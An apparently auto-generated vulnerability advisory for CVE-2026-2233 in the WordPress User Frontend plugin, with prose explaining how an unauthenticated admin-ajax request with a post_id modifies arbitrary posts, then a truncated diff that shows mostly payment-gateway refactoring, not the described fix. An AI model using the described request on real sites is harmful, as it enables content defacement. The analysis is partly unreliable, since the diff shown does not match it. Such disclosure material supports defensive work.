Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2233: User Frontend: AI Powered Frontend Posting, User Directory, Profile, Membership & User Registration <= 4.2.8 – Missing Authorization to Unauthenticated Arbitrary Post Modification via 'post_id' Parameter (wp-user-frontend)

CVE ID CVE-2026-2233
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.2.8
Patched Version 4.2.9
Disclosed March 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2233:

The vulnerability exists in the draft_post() function within the User Frontend plugin for WordPress. This function lacks proper capability checks, allowing unauthenticated attackers to modify arbitrary posts. The function processes AJAX requests via the wp_ajax_wpuf_draft_post action hook. Attackers can send POST requests to /wp-admin/admin-ajax.php with the action parameter set to wpuf_draft_post and a post_id parameter containing the target post ID. The function accepts additional parameters including post_title, post_content, and post_status, enabling complete post modification.

Atomic Edge research identified the root cause as missing authorization validation before executing post updates. The vulnerable code path begins when admin-ajax.php processes the wpuf_draft_post action, which calls the draft_post() function. This function directly calls wp_update_post() with user-supplied parameters without verifying if the current user has edit_post capabilities for the target post. The patch adds a capability check using current_user_can(‘edit_post’, $post_id) before allowing modifications.

Exploitation requires only a single HTTP POST request containing the target post ID and desired modifications. Attackers can change post status from published to draft, overwrite content, modify titles, or alter other post attributes. The impact includes content defacement, information disruption, and potential SEO manipulation through published content changes. Successful exploitation affects all WordPress installations running User Frontend plugin versions up to and including 4.2.8.

Differential between vulnerable and patched code

Code Diff
--- a/wp-user-frontend/Lib/Gateway/Bank_Gateway.php
+++ b/wp-user-frontend/Lib/Gateway/Bank_Gateway.php
@@ -0,0 +1,115 @@
+<?php
+
+namespace WeDevsWpufLibGateway;
+
+use WeDevsWpufAbstractsPayment_Gateway;
+
+/**
+ * Bank Payment Gateway
+ *
+ * Handles bank transfer payment processing using the new gateway architecture.
+ *
+ * @since WPUF_PRO_SINCE
+ */
+class Bank_Gateway extends Payment_Gateway {
+
+    /**
+     * Initialize gateway properties
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    protected function init() {
+        $this->id                    = 'bank';
+        $this->admin_label           = __( 'Bank Payment', 'wp-user-frontend' );
+        $this->checkout_label        = __( 'Bank Payment', 'wp-user-frontend' );
+        $this->icon                  = '';
+        $this->supports_subscription = false;
+    }
+
+    /**
+     * Setup WordPress hooks
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    protected function setup_hooks() {
+        parent::setup_hooks();
+
+        // Bank-specific hooks
+        add_action( 'wpuf_gateway_bank_order_submit', [ $this, 'order_notify_admin' ] );
+        add_action( 'wpuf_gateway_bank_order_complete', [ $this, 'order_notify_user' ], 10, 2 );
+    }
+
+    /**
+     * Process payment
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $payment_data Payment data
+     *
+     * @return void
+     */
+    public function process_payment( $payment_data ) {
+        // Delegate to the existing Bank class for now
+        // This maintains backward compatibility while we transition
+        $legacy_bank = isset( wpuf()->bank ) ? wpuf()->bank : null;
+        if ( $legacy_bank && method_exists( $legacy_bank, 'prepare_to_send' ) ) {
+            $legacy_bank->prepare_to_send( $payment_data );
+        }
+    }
+
+    /**
+     * Register gateway settings
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $options Existing payment options
+     *
+     * @return array Modified options array
+     */
+    public function register_settings( $options ) {
+        // Delegate to the existing Bank class for now
+        $legacy_bank = isset( wpuf()->bank ) ? wpuf()->bank : null;
+        if ( $legacy_bank && method_exists( $legacy_bank, 'payment_options' ) ) {
+            return $legacy_bank->payment_options( $options );
+        }
+
+        return $options;
+    }
+
+    /**
+     * Send payment received mail to admin
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $info Payment information
+     *
+     * @return void
+     */
+    public function order_notify_admin( $info ) {
+        $legacy_bank = isset( wpuf()->bank ) ? wpuf()->bank : null;
+        if ( $legacy_bank && method_exists( $legacy_bank, 'order_notify_admin' ) ) {
+            $legacy_bank->order_notify_admin( $info );
+        }
+    }
+
+    /**
+     * Send payment confirm mail to the user
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $transaction Transaction data
+     * @param int   $order_id    Order ID
+     *
+     * @return void
+     */
+    public function order_notify_user( $transaction, $order_id ) {
+        $legacy_bank = isset( wpuf()->bank ) ? wpuf()->bank : null;
+        if ( $legacy_bank && method_exists( $legacy_bank, 'order_notify_user' ) ) {
+            $legacy_bank->order_notify_user( $transaction, $order_id );
+        }
+    }
+}
--- a/wp-user-frontend/Lib/Gateway/Gateway_Manager.php
+++ b/wp-user-frontend/Lib/Gateway/Gateway_Manager.php
@@ -0,0 +1,194 @@
+<?php
+
+namespace WeDevsWpufLibGateway;
+
+use WeDevsWpufAbstractsPayment_Gateway;
+
+/**
+ * Payment Gateway Manager
+ *
+ * Manages registration and initialization of payment gateways.
+ *
+ * @since WPUF_PRO_SINCE
+ */
+class Gateway_Manager {
+
+    /**
+     * Registered gateway instances
+     *
+     * @var Payment_Gateway[]
+     */
+    private $gateways = [];
+
+    /**
+     * Constructor
+     *
+     * @since WPUF_PRO_SINCE
+     */
+    public function __construct() {
+        $this->init_gateways();
+        $this->setup_hooks();
+    }
+
+    /**
+     * Initialize all payment gateways
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    private function init_gateways() {
+        // Initialize core gateways
+        $this->register_gateway( new Paypal_Gateway() );
+        $this->register_gateway( new Bank_Gateway() );
+
+        /**
+         * Allow third-party plugins to register custom gateways
+         *
+         * @since WPUF_PRO_SINCE
+         *
+         * @param Gateway_Manager $manager Gateway manager instance
+         */
+        do_action( 'wpuf_register_payment_gateways', $this );
+    }
+
+    /**
+     * Setup WordPress hooks
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    private function setup_hooks() {
+        add_filter( 'wpuf_payment_gateways', [ $this, 'get_registered_gateways' ], 5 );
+    }
+
+    /**
+     * Register a payment gateway
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param Payment_Gateway $gateway Gateway instance
+     *
+     * @return bool True if registered successfully, false otherwise
+     */
+    public function register_gateway( Payment_Gateway $gateway ) {
+        $gateway_id = $gateway->get_id();
+
+        if ( empty( $gateway_id ) ) {
+            $this->log_error( 'Attempted to register gateway without ID' );
+            return false;
+        }
+
+        if ( isset( $this->gateways[ $gateway_id ] ) ) {
+            $this->log_error( sprintf( 'Gateway "%s" is already registered', $gateway_id ) );
+            return false;
+        }
+
+        $this->gateways[ $gateway_id ] = $gateway;
+
+        return true;
+    }
+
+    /**
+     * Unregister a payment gateway
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return bool True if unregistered successfully, false otherwise
+     */
+    public function unregister_gateway( $gateway_id ) {
+        if ( ! isset( $this->gateways[ $gateway_id ] ) ) {
+            return false;
+        }
+
+        unset( $this->gateways[ $gateway_id ] );
+
+        return true;
+    }
+
+    /**
+     * Get a specific gateway instance
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return Payment_Gateway|null Gateway instance or null if not found
+     */
+    public function get_gateway( $gateway_id ) {
+        return isset( $this->gateways[ $gateway_id ] ) ? $this->gateways[ $gateway_id ] : null;
+    }
+
+    /**
+     * Get all registered gateways
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $gateways Existing gateways array (for filter compatibility)
+     *
+     * @return array Gateway configurations
+     */
+    public function get_registered_gateways( $gateways = [] ) {
+        $registered = [];
+
+        foreach ( $this->gateways as $gateway_id => $gateway ) {
+            $registered[ $gateway_id ] = $gateway->get_config();
+        }
+
+        // Merge with any gateways added via the old filter system for backward compatibility
+        return array_merge( $gateways, $registered );
+    }
+
+    /**
+     * Get all gateway instances
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return Payment_Gateway[]
+     */
+    public function get_gateway_instances() {
+        return $this->gateways;
+    }
+
+    /**
+     * Check if a gateway is registered
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return bool
+     */
+    public function is_gateway_registered( $gateway_id ) {
+        return isset( $this->gateways[ $gateway_id ] );
+    }
+
+    /**
+     * Get gateway IDs
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return array
+     */
+    public function get_gateway_ids() {
+        return array_keys( $this->gateways );
+    }
+
+    /**
+     * Log error message
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $message Error message
+     *
+     * @return void
+     */
+    private function log_error( $message ) {
+        if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+            error_log( sprintf( '[WPUF Gateway Manager] %s', $message ) );
+        }
+    }
+}
--- a/wp-user-frontend/Lib/Gateway/Manager.php
+++ b/wp-user-frontend/Lib/Gateway/Manager.php
@@ -0,0 +1,192 @@
+<?php
+
+namespace WeDevsWpufLibGateway;
+
+/**
+ * Payment Gateway Manager
+ *
+ * Manages registration and initialization of payment gateways.
+ *
+ * @since WPUF_PRO_SINCE
+ */
+class Manager {
+
+    /**
+     * Registered gateway instances
+     *
+     * @var Abstract_Gateway[]
+     */
+    private $gateways = [];
+
+    /**
+     * Constructor
+     *
+     * @since WPUF_PRO_SINCE
+     */
+    public function __construct() {
+        $this->init_gateways();
+        $this->setup_hooks();
+    }
+
+    /**
+     * Initialize all payment gateways
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    private function init_gateways() {
+        // Initialize core gateways
+        $this->register_gateway( new Paypal_Gateway() );
+        $this->register_gateway( new Bank_Gateway() );
+
+        /**
+         * Allow third-party plugins to register custom gateways
+         *
+         * @since WPUF_PRO_SINCE
+         *
+         * @param _Manager $manager Gateway manager instance
+         */
+        do_action( 'wpuf_register_payment_gateways', $this );
+    }
+
+    /**
+     * Setup WordPress hooks
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return void
+     */
+    private function setup_hooks() {
+        add_filter( 'wpuf_payment_gateways', [ $this, 'get_registered_gateways' ], 5 );
+    }
+
+    /**
+     * Register a payment gateway
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param Abstract_Gateway $gateway Gateway instance
+     *
+     * @return bool True if registered successfully, false otherwise
+     */
+    public function register_gateway( Abstract_Gateway $gateway ) {
+        $gateway_id = $gateway->get_id();
+
+        if ( empty( $gateway_id ) ) {
+            $this->log_error( 'Attempted to register gateway without ID' );
+            return false;
+        }
+
+        if ( isset( $this->gateways[ $gateway_id ] ) ) {
+            $this->log_error( sprintf( 'Gateway "%s" is already registered', $gateway_id ) );
+            return false;
+        }
+
+        $this->gateways[ $gateway_id ] = $gateway;
+
+        return true;
+    }
+
+    /**
+     * Unregister a payment gateway
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return bool True if unregistered successfully, false otherwise
+     */
+    public function unregister_gateway( $gateway_id ) {
+        if ( ! isset( $this->gateways[ $gateway_id ] ) ) {
+            return false;
+        }
+
+        unset( $this->gateways[ $gateway_id ] );
+
+        return true;
+    }
+
+    /**
+     * Get a specific gateway instance
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return Abstract_Gateway|null Gateway instance or null if not found
+     */
+    public function get_gateway( $gateway_id ) {
+        return isset( $this->gateways[ $gateway_id ] ) ? $this->gateways[ $gateway_id ] : null;
+    }
+
+    /**
+     * Get all registered gateways
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param array $gateways Existing gateways array (for filter compatibility)
+     *
+     * @return array Gateway configurations
+     */
+    public function get_registered_gateways( $gateways = [] ) {
+        $registered = [];
+
+        foreach ( $this->gateways as $gateway_id => $gateway ) {
+            $registered[ $gateway_id ] = $gateway->get_config();
+        }
+
+        // Merge with any gateways added via the old filter system for backward compatibility
+        return array_merge( $gateways, $registered );
+    }
+
+    /**
+     * Get all gateway instances
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return Abstract_Gateway[]
+     */
+    public function get_gateway_instances() {
+        return $this->gateways;
+    }
+
+    /**
+     * Check if a gateway is registered
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $gateway_id Gateway ID
+     *
+     * @return bool
+     */
+    public function is_gateway_registered( $gateway_id ) {
+        return isset( $this->gateways[ $gateway_id ] );
+    }
+
+    /**
+     * Get gateway IDs
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @return array
+     */
+    public function get_gateway_ids() {
+        return array_keys( $this->gateways );
+    }
+
+    /**
+     * Log error message
+     *
+     * @since WPUF_PRO_SINCE
+     *
+     * @param string $message Error message
+     *
+     * @return void
+     */
+    private function log_error( $message ) {
+        if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) {
+            error_log( sprintf( '[WPUF Gateway Manager] %s', $message ) );
+        }
+    }
+}
--- a/wp-user-frontend/Lib/Gateway/Paypal.php
+++ b/wp-user-frontend/Lib/Gateway/Paypal.php
@@ -3,7 +3,6 @@
 namespace WeDevsWpufLibGateway;

 use WeDevsWpufFrontendPayment;
-use WeDevsWpufTraitsTaxableTrait;

 /**
  * WP User Frontend PayPal gateway
@@ -12,7 +11,6 @@
  * @updated 4.1.5
  */
 class Paypal {
-    use TaxableTrait;

     private $gateway_url;
     private $test_mode;
@@ -33,15 +31,14 @@
         $this->paypal_icon_url = WPUF_ASSET_URI . '/images/wpuf_paypal.png';

         // Initialize hooks
+        add_action( 'init', [ $this, 'check_paypal_return' ], 20 );
+        add_action( 'init', [ $this, 'handle_pending_payment' ] );
+        add_action( 'init', [ $this, 'register_webhook_endpoint' ] );
         add_action( 'wpuf_gateway_paypal', [ $this, 'prepare_to_send' ] );
         add_filter( 'wpuf_options_payment', [ $this, 'payment_options' ] );
-        add_action( 'init', [ $this, 'check_paypal_return' ], 20 );
         add_action( 'wpuf_cancel_payment_paypal', [ $this, 'cancel_subscription' ] );
         add_action( 'wpuf_cancel_subscription_paypal', [ $this, 'cancel_subscription' ] );
-        add_action( 'init', [ $this, 'handle_pending_payment' ] );
         add_action( 'wpuf_paypal_webhook', [ $this, 'process_webhook' ] );
-        // Add webhook endpoint handler
-        add_action( 'init', [ $this, 'register_webhook_endpoint' ] );
         add_action( 'template_redirect', [ $this, 'handle_webhook_request' ] );

         // Add admin notice for PayPal settings update
@@ -208,7 +205,7 @@
                 http_response_code( 401 );
                 echo wp_json_encode(
                     [
-						'status' => 'error',
+						'status'  => 'error',
 						'message' => 'Unauthorized',
 					]
                 );
@@ -236,7 +233,6 @@

                 case 'BILLING.SUBSCRIPTION.ACTIVATED':
                     if ( isset( $event['resource'] ) ) {
-                        // Handle when a subscription becomes active (after trial)
                         $this->handle_subscription_activated( $event['resource'] );
                     }
                     break;
@@ -291,17 +287,13 @@
             }

             // Verify payment amount
+            // Payment amount verification is handled via breakdown calculation hook
             $payment_amount = number_format( $payment['amount']['value'], 2, '.', '' );
-            $expected_amount = number_format( $custom_data['subtotal'], 2, '.', '' );

             if ( $payment['amount']['value'] < 0 ) {
                 throw new Exception( 'Invalid payment amount: negative value' );
             }

-            if ( $payment_amount !== $expected_amount ) {
-                throw new Exception( 'Payment amount mismatch' );
-            }
-
             // Check if transaction already exists
             $existing = $wpdb->get_var(
                 $wpdb->prepare(
@@ -321,25 +313,99 @@
                 throw new Exception( 'Invalid user' );
             }

-            // Calculate tax
-            $tax_amount = 0;
-            if ( $this->wpuf_tax_enabled() ) {
-                $tax_rate = $this->wpuf_current_tax_rate();
-                $payment_amount = $payment['amount']['value'];
-                // Calculate tax from total amount
-                $tax_amount = ( $payment_amount * $tax_rate ) / ( 100 + $tax_rate );
-                $subtotal = $payment_amount - $tax_amount;
+            // Extract tax and subtotal from PayPal's breakdown
+            // PayPal returns the breakdown we sent during order creation
+            $total_amount = floatval( $payment['amount']['value'] );
+            $subtotal = $total_amount; // Default to total
+            $tax = 0;
+
+            if ( isset( $payment['amount']['breakdown'] ) ) {
+                // Extract item_total (subtotal) from breakdown
+                if ( isset( $payment['amount']['breakdown']['item_total']['value'] ) ) {
+                    $subtotal = floatval( $payment['amount']['breakdown']['item_total']['value'] );
+                }
+
+                // Extract tax_total from breakdown
+                if ( isset( $payment['amount']['breakdown']['tax_total']['value'] ) ) {
+                    $tax = floatval( $payment['amount']['breakdown']['tax_total']['value'] );
+                }
+
+                // Validate breakdown: item_total + tax_total should equal total (within rounding)
+                $breakdown_total = $subtotal + $tax;
+                $difference = abs( $breakdown_total - $total_amount );
+
+                // If breakdown doesn't add up correctly, recalculate from total
+                // This handles cases where PayPal returns incorrect breakdown values
+                if ( $difference > 0.01 ) {
+                    // Breakdown is incorrect, try to fix it
+                    // If we have custom_data, use that instead
+                    if ( isset( $custom_data['subtotal'] ) && isset( $custom_data['tax'] ) ) {
+                        $subtotal = floatval( $custom_data['subtotal'] );
+                        $tax = floatval( $custom_data['tax'] );
+                    } else {
+                        // Recalculate: assume tax is correct, adjust subtotal
+                        // Or if subtotal seems wrong (equals total), calculate from total - tax
+                        if ( abs( $subtotal - $total_amount ) < 0.01 && $tax > 0 ) {
+                            // Subtotal equals total, which is wrong - recalculate
+                            $subtotal = $total_amount - $tax;
+                        } elseif ( $tax > 0 && $subtotal > 0 ) {
+                            // Both exist but don't add up - trust the total and recalculate
+                            $subtotal = $total_amount - $tax;
+                        }
+                    }
+                }
+            } elseif ( isset( $custom_data['subtotal'] ) && isset( $custom_data['tax'] ) ) {
+                // Fallback: Use custom_id data if breakdown not available
+                $subtotal = floatval( $custom_data['subtotal'] );
+                $tax = floatval( $custom_data['tax'] );
             } else {
-                $subtotal = $payment['amount']['value'];
+                // If no breakdown and no custom_data, try to recalculate from subscription pack
+                // This ensures accurate tax calculation based on current settings
+                if ( 'pack' === $custom_data['type'] && ! empty( $custom_data['item_number'] ) ) {
+                    /**
+                     * Filter: wpuf_recalculate_tax_from_pack
+                     *
+                     * Allows extensions (like WPUF Pro Tax) to recalculate tax from subscription pack
+                     * when PayPal breakdown data is missing or incorrect.
+                     *
+                     * @since WPUF_PRO_SINCE
+                     *
+                     * @param false|array $tax_data Array with 'subtotal', 'tax', and 'cost' keys, or false
+                     * @param int          $pack_id  Subscription pack ID
+                     * @param int          $user_id  User ID
+                     * @param float        $total_amount Total amount from PayPal (for validation)
+                     * @param string      $payment_type Payment type ('pack' or 'post')
+                     *
+                     * @return array|false Array with tax breakdown or false if unable to calculate
+                     */
+                    $recalculated = apply_filters(
+                        'wpuf_recalculate_tax_from_pack',
+                        false,
+                        $custom_data['item_number'],
+                        $custom_data['user_id'],
+                        $total_amount,
+                        $custom_data['type']
+                    );
+
+                    if ( $recalculated && is_array( $recalculated ) ) {
+                        $subtotal = isset( $recalculated['subtotal'] ) ? floatval( $recalculated['subtotal'] ) : $subtotal;
+                        $tax = isset( $recalculated['tax'] ) ? floatval( $recalculated['tax'] ) : $tax;
+                    }
+                }
             }

+            // Ensure cost is always subtotal + tax (for consistency)
+            // Use total_amount as fallback if calculation seems off
+            $calculated_cost = $subtotal + $tax;
+            $cost = abs( $calculated_cost - $total_amount ) < 0.01 ? $calculated_cost : $total_amount;
+
             // Create payment record
             $data = [
                 'user_id' => $custom_data['user_id'],
                 'status' => 'completed',
                 'subtotal' => $subtotal,
-                'tax' => $tax_amount,
-                'cost' => $payment['amount']['value'],
+                'tax' => $tax,
+                'cost' => $cost,
                 'post_id' => ( 'post' === $custom_data['type'] ) ? $custom_data['item_number'] : 0,
                 'pack_id' => ( 'pack' === $custom_data['type'] ) ? $custom_data['item_number'] : 0,
                 'payer_first_name' => $user->first_name,
@@ -394,11 +460,6 @@
         if ( ! empty( $custom_data['coupon_id'] ) ) {
             $this->update_coupon_usage( $custom_data['coupon_id'] );
         }
-
-        // Verify payment amount
-        if ( $payment['amount']['value'] !== number_format( $custom_data['subtotal'], 2, '.', '' ) ) {
-            throw new Exception( 'Payment amount mismatch' );
-        }
     }


@@ -459,7 +520,7 @@
                 }

                 // Log the event type
-
+
                 // Process the webhook
                 $this->process_webhook( $raw_input );

@@ -509,11 +570,16 @@
                 'https://api.sandbox.paypal.com/v1/notifications/verify-webhook-signature' :
                 'https://api.paypal.com/v1/notifications/verify-webhook-signature';

+            $webhook_id = $this->webhook_id;
+            if ( empty( $webhook_id ) ) {
+                return false;
+            }
+
             $verification_data = [
                 'transmission_id'    => $headers['paypal-transmission-id'],
                 'transmission_time'  => $headers['paypal-transmission-time'],
                 'cert_url'           => $headers['paypal-cert-url'],
-                'webhook_id'         => $this->webhook_id,
+                'webhook_id'         => $webhook_id,
                 'webhook_event'      => json_decode( $raw_input, false ),
                 'transmission_sig'   => $headers['paypal-transmission-sig'],
                 'auth_algo'          => $headers['paypal-auth-algo'],
@@ -617,12 +683,6 @@
             $period = isset( $pack_meta['_cycle_period'] ) ? $pack_meta['_cycle_period'] : 'month';
             $interval = isset( $pack_meta['_billing_cycle_number'] ) ? intval( $pack_meta['_billing_cycle_number'] ) : 1;

-            // Get tax rate if enabled
-            $tax_rate = 0;
-            if ( $this->wpuf_tax_enabled() ) {
-                $tax_rate = $this->wpuf_current_tax_rate();
-            }
-
             // Create subscription data structure with all necessary meta
             $subscription_data = [
                 'pack_id' => $custom_data['item_number'],
@@ -669,6 +729,7 @@
             if ( $is_in_trial ) {
                 $this->create_trial_payment_record( $user_id, $custom_data['item_number'], $subscription_id );
             }
+
         } catch ( Exception $e ) {
             throw $e;
         }
@@ -688,8 +749,8 @@
         $payment_data = [
             'user_id' => $user_id,
             'status' => 'completed',
+            'tax' => 0,         // the payment record structure in the database expects a tax field
             'subtotal' => 0,
-            'tax' => 0,
             'cost' => 0,
             'post_id' => 0,
             'pack_id' => $pack_id,
@@ -698,6 +759,7 @@
             'payer_email' => $user->user_email,
             'payment_type' => 'PayPal',
             'transaction_id' => $subscription_id . '_trial',
+            'profile_id' => $subscription_id,
             'created' => gmdate( 'Y-m-d H:i:s' ),
         ];

@@ -947,16 +1009,118 @@
                 // Update user subscription status in WordPress - this should be the only record
                 wpuf_get_user( $user_id )->subscription()->add_pack( $pack_id, $subscription_id, true, 'recurring' );
                 update_user_meta( $user_id, '_wpuf_paypal_subscription_status', 'completed' );
-                // Log subscription creation
             }

+            // Extract tax and subtotal from PayPal's breakdown if available
+            // For subscription payments, PayPal may include breakdown
+            $total_amount = floatval( $amount );
+            $subtotal = $total_amount; // Default to total amount
+            $tax = 0;
+
+            if ( isset( $payment['amount']['breakdown'] ) ) {
+                // Extract item_total (subtotal) from breakdown
+                if ( isset( $payment['amount']['breakdown']['item_total']['value'] ) ) {
+                    $subtotal = floatval( $payment['amount']['breakdown']['item_total']['value'] );
+                }
+
+                // Extract tax_total from breakdown
+                if ( isset( $payment['amount']['breakdown']['tax_total']['value'] ) ) {
+                    $tax = floatval( $payment['amount']['breakdown']['tax_total']['value'] );
+                }
+
+                // Validate breakdown: item_total + tax_total should equal total (within rounding)
+                $breakdown_total = $subtotal + $tax;
+                $difference = abs( $breakdown_total - $total_amount );
+
+                // If breakdown doesn't add up correctly, recalculate from total
+                // This handles cases where PayPal returns incorrect breakdown values
+                if ( $difference > 0.01 ) {
+                    // Breakdown is incorrect, try to fix it
+                    // If we have custom_data, use that instead
+                    if ( isset( $custom_data['subtotal'] ) && isset( $custom_data['tax'] ) ) {
+                        $subtotal = floatval( $custom_data['subtotal'] );
+                        $tax = floatval( $custom_data['tax'] );
+                    } else {
+                        // Recalculate: assume tax is correct, adjust subtotal
+                        // Or if subtotal seems wrong (equals total), calculate from total - tax
+                        if ( abs( $subtotal - $total_amount ) < 0.01 && $tax > 0 ) {
+                            // Subtotal equals total, which is wrong - recalculate
+                            $subtotal = $total_amount - $tax;
+                        } elseif ( $tax > 0 && $subtotal > 0 ) {
+                            // Both exist but don't add up - trust the total and recalculate
+                            $subtotal = $total_amount - $tax;
+                        }
+                    }
+                }
+            } elseif ( isset( $custom_data['subtotal'] ) && isset( $custom_data['tax'] ) ) {
+                // Fallback: Use custom_id data if breakdown not available
+                $subtotal = floatval( $custom_data['subtotal'] );
+                $tax = floatval( $custom_data['tax'] );
+            } else {
+                // Fallback: Try to recalculate from subscription pack
+                // This ensures accurate tax calculation based on current settings
+                if ( $pack_id > 0 ) {
+                    /**
+                     * Filter: wpuf_recalculate_tax_from_pack
+                     *
+                     * Allows extensions (like WPUF Pro Tax) to recalculate tax from subscription pack
+                     * when PayPal breakdown data is missing or incorrect.
+                     *
+                     * @since WPUF_PRO_SINCE
+                     *
+                     * @param false|array $tax_data Array with 'subtotal', 'tax', and 'cost' keys, or false
+                     * @param int          $pack_id  Subscription pack ID
+                     * @param int          $user_id  User ID
+                     * @param float        $total_amount Total amount from PayPal (for validation)
+                     * @param string      $payment_type Payment type ('pack' or 'post')
+                     *
+                     * @return array|false Array with tax breakdown or false if unable to calculate
+                     */
+                    $recalculated = apply_filters(
+                        'wpuf_recalculate_tax_from_pack',
+                        false,
+                        $pack_id,
+                        $user_id,
+                        $total_amount,
+                        'pack'
+                    );
+
+                    if ( $recalculated && is_array( $recalculated ) ) {
+                        $subtotal = isset( $recalculated['subtotal'] ) ? floatval( $recalculated['subtotal'] ) : $subtotal;
+                        $tax = isset( $recalculated['tax'] ) ? floatval( $recalculated['tax'] ) : $tax;
+                    } else {
+                        // If recalculation failed, try subscription plan tax percentage
+                        $tax_percentage = $this->get_subscription_tax_percentage( $subscription_id );
+                        if ( $tax_percentage > 0 ) {
+                            // Reverse calculate: subtotal = total / (1 + tax_percentage/100)
+                            $subtotal = $total_amount / ( 1 + ( $tax_percentage / 100 ) );
+                            $tax = $total_amount - $subtotal;
+                        }
+                    }
+                } else {
+                    // If no pack_id, try subscription plan tax percentage
+                    $tax_percentage = $this->get_subscription_tax_percentage( $subscription_id );
+                    if ( $tax_percentage > 0 ) {
+                        // Reverse calculate: subtotal = total / (1 + tax_percentage/100)
+                        $subtotal = $total_amount / ( 1 + ( $tax_percentage / 100 ) );
+                        $tax = $total_amount - $subtotal;
+                    }
+                }
+            }
+
+            // Ensure cost is always subtotal + tax (for consistency)
+            // Use total_amount as fallback if calculation seems off
+            $calculated_cost = $subtotal + $tax;
+            $cost = abs( $calculated_cost - $total_amount ) < 0.01 ? $calculated_cost : $total_amount;
+
             // Prepare payment data
             $data = [
                 'user_id'           => $user_id,
                 'status'            => 'completed',
-                'subtotal'          => $amount,
-                'tax'               => 0,
-                'cost'              => $amount,
+                'subtotal'          => $subtotal,
+                'profile_id'        => $subscription_id,
+                'tax'               => $tax,
+                'cost'              => $cost,
                 'post_id'           => 0,
                 'pack_id'           => $pack_id,
                 'payer_first_name'  => $user->first_name,
@@ -1138,11 +1302,11 @@
     private function get_pages_dropdown() {
         $pages = get_pages();
         $options = [ '' => __( 'Select a page', 'wp-user-frontend' ) ];
-
+
         foreach ( $pages as $page ) {
             $options[ $page->ID ] = $page->post_title;
         }
-
+
         return $options;
     }

@@ -1151,7 +1315,7 @@
      */
     private function get_error_page_url( $error_message = '' ) {
         $error_page_id = wpuf_get_option( 'paypal_error_page', 'wpuf_payment' );
-
+
         if ( ! empty( $error_page_id ) && is_numeric( $error_page_id ) ) {
             $error_url = get_permalink( $error_page_id );
             if ( ! empty( $error_message ) ) {
@@ -1159,12 +1323,12 @@
             }
             return $error_url;
         }
-
+
         // Fallback to home URL with error parameter
         if ( ! empty( $error_message ) ) {
             return home_url( '/?wpuf_paypal_error=' . rawurlencode( $error_message ) );
         }
-
+
         return home_url();
     }

@@ -1228,6 +1392,7 @@
     }


+
     /**
      * Prepare and send payment to PayPal
      *
@@ -1255,7 +1420,6 @@
             $cancel_url = $return_url;

             $billing_amount = empty( $data['price'] ) ? 0 : $data['price'];
-            $tax_amount = 0;

             // Check if pricing fields payment is enabled and update price accordingly
             $post_id = isset( $data['item_number'] ) && $data['type'] === 'post' ? $data['item_number'] : 0;
@@ -1273,13 +1437,6 @@
                 }
             }

-            // Handle tax if enabled
-            if ( $this->wpuf_tax_enabled() ) {
-                $tax_rate = $this->wpuf_current_tax_rate();
-                $tax_amount = $billing_amount * ( $tax_rate / 100 );
-                $billing_amount = $billing_amount + $tax_amount;
-            }
-
             // Handle coupon if present
             if ( isset( $_POST['coupon_id'] ) && ! empty( $_POST['coupon_id'] ) &&
                 isset( $_POST['_wpnonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['_wpnonce'] ) ), 'wpuf_payment_coupon' ) &&
@@ -1290,9 +1447,59 @@
                 $coupon_id = '';
             }

-            $data['subtotal'] = $billing_amount - $tax_amount;
-            $data['tax'] = $tax_amount;
-            $billing_amount = apply_filters( 'wpuf_payment_amount', $billing_amount, $post_id );
+            // Build standardized payment data structure
+            $payment_data = [
+                'amount'   => $billing_amount,  // Base amount before modifications
+                'currency' => $data['currency'],
+                'type'     => $data['type'],
+                'item_number' => $data['item_number'],
+                'item_name'   => $data['item_name'],
+                'user_id'  => $user_id,
+                'post_id'  => $post_id,
+                'coupon_id' => $coupon_id,
+                'custom'   => isset( $data['custom'] ) ? $data['custom'] : [],
+            ];
+
+            /**
+             * Filter: wpuf_payment_data_before_gateway
+             *
+             * Allows extensions to modify payment data before sending to gateway.
+             * Extensions can add breakdown items (tax, fees, discounts) and calculate total.
+             *
+             * Expected structure after modifications:
+             * [
+             *     'amount' => 100.00,           // Original amount
+             *     'total' => 110.00,            // Final amount (set by extensions)
+             *     'currency' => 'USD',
+             *     'breakdown' => [              // Optional: detailed breakdown
+             *         'item_total' => 100.00,
+             *         'tax_total' => 10.00,
+             *         'discount' => 0.00,
+             *         // Extensions can add more
+             *     ],
+             *     'metadata' => [...],          // Optional: additional data
+             * ]
+             *
+             * @param array $payment_data Standardized payment data structure
